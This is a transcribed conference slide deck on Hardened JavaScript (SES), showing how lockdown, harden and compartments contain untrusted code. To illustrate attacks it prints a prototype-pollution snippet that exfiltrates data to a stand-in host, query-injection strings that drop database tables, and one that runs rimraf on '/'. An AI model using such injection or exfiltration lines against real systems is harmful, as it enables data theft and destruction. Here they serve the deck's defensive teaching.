This document discusses hardened JavaScript and how it can be used to safely run untrusted code. It describes how JavaScript environments like browsers allow arbitrary programs to run but mediate their interactions. It then explains how techniques like freezing objects, compartmentalization, and avoiding direct eval can "harden" JavaScript to prevent malicious code from harming the system or accessing private data. The goal is to allow safe interaction between mutually untrusting code while preventing attacks.

1. 1
Hardened
JavaScript
🧙♂️ Kris Kowal
🐦 @kriskowal
✉️ kris@agoric.com

2. DEC VT100 Terminal, Jason
Scott
Interaction and Vulnerability
Netscape Navigator 1.22 on
Windows

3. 3
Interaction and Vulnerability
Running other people’s programs is dangerous
and some people will even tell you that you
shouldn’t do it.
You can run other people’s programs safely.
The solution is Hardened JavaScript.

4. Ulysses and the Sirens, 1891, by John William Waterhouse
Interaction and Vulnerability

5. User Agent
5
User agents mediate interaction. A web browser is a
user agent.
■ Browsers invite arbitrary programs off the
internet to run on your computer.
■ Server sends a program to the client.
■ The client runs the program with limited
access to local resources.
■ The browser mediates the interaction through
its user interface “chrome”.
Motorcycle Reflections, Atoma

6. Two parties (client and server) are easy to
safeguard, but not very interesting.
Within a user agent, multiple parties can send each
other facets of APIs and interact directly with each
other on behalf of the user.
■ Client engages two other services.
■ Client introduces one service to the other, to
communicate on its behalf.
■ Browser mediates the interaction, including
the ability to revoke communication between
third-party services at any time.
Three is a Party
6
Granovetter Diagram

7. ■ Sandbox
■ Unforgeable references
■ Closures
■ Run-to-completion event-loop
■ Strict mode
■ Hardenable by freezing
7
Why JavaScript

8. Queries are
Hobbled
Programs
Consider the case of a data
service provider that accepts
arbitrary programs instead of a
weakened query language.
8
const search = query => {
const matches = [];
for (const item of database.items()) {
if (eval(query)) {
matches.push(item);
};
}
return matches;
};
// With great interaction…
search('item.price > 50 && item.size == 8');
// …comes great vulnerability.
search('database.dropAllTables(), false');

9. Eval is not exactly Evil
The Levenshtein Distance between Eval and Evil is not zero.
Eval is not Evil, QED.
E V I L
E 0 1 2 3
V 1 0 1 2
A 2 1 1 2
L 3 2 2 1

10. eval('var undefined = null');
console.log(undefined); // null
10
Direct Eval

11. 11
const indirectEval = eval;
indirectEval('Math = 2 + 2');
// or:
(0, eval)('Array = Object');
console.log(globalThis.Array); // Object
Indirect Eval

12. new Function(
'value',
'globalThis.NaN = value' // 👈 siren song here
)(42);
console.log(NaN); // 42
12
Function Constructor

13. How Eval can be
used for Evil
13
Let me count the ways.
■ To replace constructors with imposters,
■ To subvert methods on shared prototypes,
■ To distribute furtive missives on properties of
unsuspecting objects,
■ To listen to activity through the walls with
high resolution timers,
■ To hog local resources like memory or
compute time,
■ To use powerful API’s to steal your private
keys and scribble on your disk,
■ To run your kitchen sink garbage disposal at
inopportune times,
■ To teach your pets to wage a guerrilla war for

14. Taming Eval
■ 🔒 Lockdown: Freeze every object the
language provides, the shared primordials.
■ 🧊 Harden: Give programs a way to deep
freeze the objects they share with other
parties.
■ 📦 Compartment: Provide a way to make
spaces that only have the shared primordials
and other explicitly shared objects.
Give programs a firm foundation to stand on to
defend their own integrity and confidentiality.
14

15. 15
🔒 Lockdown
lockdown();
Object.isFrozen(Array); // true
Object.isFrozen(Array.prototype); // yes
Object.isFrozen(Object); // indeed
Object.isFrozen(Object.prototype); // verily

16. 16
🧊 Harden
lockdown();
const me = {
ma: { ma: {}, pa: {} },
pa: { ma: {}, pa: {} },
};
harden(me);
Object.isFrozen(me); // true
Object.isFrozen(me.ma); // yes
Object.isFrozen(me.ma.ma); // indeed
Object.isFrozen(me.ma.pa); // verily
Object.isFrozen(me.pa); // quite
Object.isFrozen(me.pa.ma); // affirmative
Object.isFrozen(me.pa.pa); // indubitably

17. 17
📦 Compartment
lockdown();
const compartment = new Compartment({ console });
harden(compartment.globalThis);
compartment.evaluate('console.log("Hello, World!");');
compartment.evaluate(`eval("console.log('Hi');")`);
compartment.evaluate('[]') instanceof Array; // totally
compartment.evaluate('{}') instanceof Object; // exactly
compartment.evaluate('globalThis') !== globalThis; // unique!
compartment.evaluate('Date.now()'); // NaN
compartment.evaluate('new Date()'); // Invalid Date
compartment.evaluate('Math.random'); // undefined

18. Within a
Compartment
18
globalThis.NaN = 42;
Math = 2 + 2;
globalThis.undefined = null;
const push = Array.prototype.push;
Array.prototype.push = (...args) => {
fetch(`https://exfiltrate.example.com?${args}`);
return push.apply(this, args);
};
Attacker cannot pollute prototypes.

19. 19
lockdown();
const compartment = new Compartment();
harden(compartment.globalThis);
const SafeFunction = compartment.globalThis.Function;
const search = harden(query => {
const match = new SafeFunction('item', query);
const matches = [];
for (const item of database.items()) {
if (match(harden(item))) {
matches.push(item);
};
}
return harden(matches);
});
Safe
Queries
&
Hardened
JavaScript

20. Safe
Queries
&
Hardened
JavaScript
20
// With great interaction…
search('item.price > 50 && item.size == 8');
// ReferenceError: database
search('database.dropAllTables(), false');
// Cannot assign
search('Array.prototype.push = mitm');
// ReferenceError: require
search('require("rimraf")("/")');

21. Identity
Discontinuity
21
const matches = search(
'item.price > 50 && item.size == 8'
);
matches instanceof Array // no!?

22. 22
LavaMoat and mitigating supply chain attacks
https://github.com/LavaMoat/LavaMoat

23. 23
https://github.com/endojs/endo

24. 24
https://github.com/endojs/endo/packages/ses

25. 25
https://www.moddable.com/

26. 26
Hardened JavaScript
Hardened JavaScript in the Agoric Architecture

27. 27
modulecounts.com

28. 28
npm-stats.com for q

29. Conclusion
29
Hardened JavaScript
https://github.com/endojs/endo
lockdown();
const compartment = new Compartment();
const sing = compartment.evaluate(sirenSong);
sing({
enjoyMusic() { /* … */ },
// drownYourself() { /* … */ },
});

30. 30
Hardened
JavaScript
https://github.com/endojs/endo
$ npm install ses
🧙♂️ Kris Kowal 🐦 @kriskowal ✉️ kris@agoric.com

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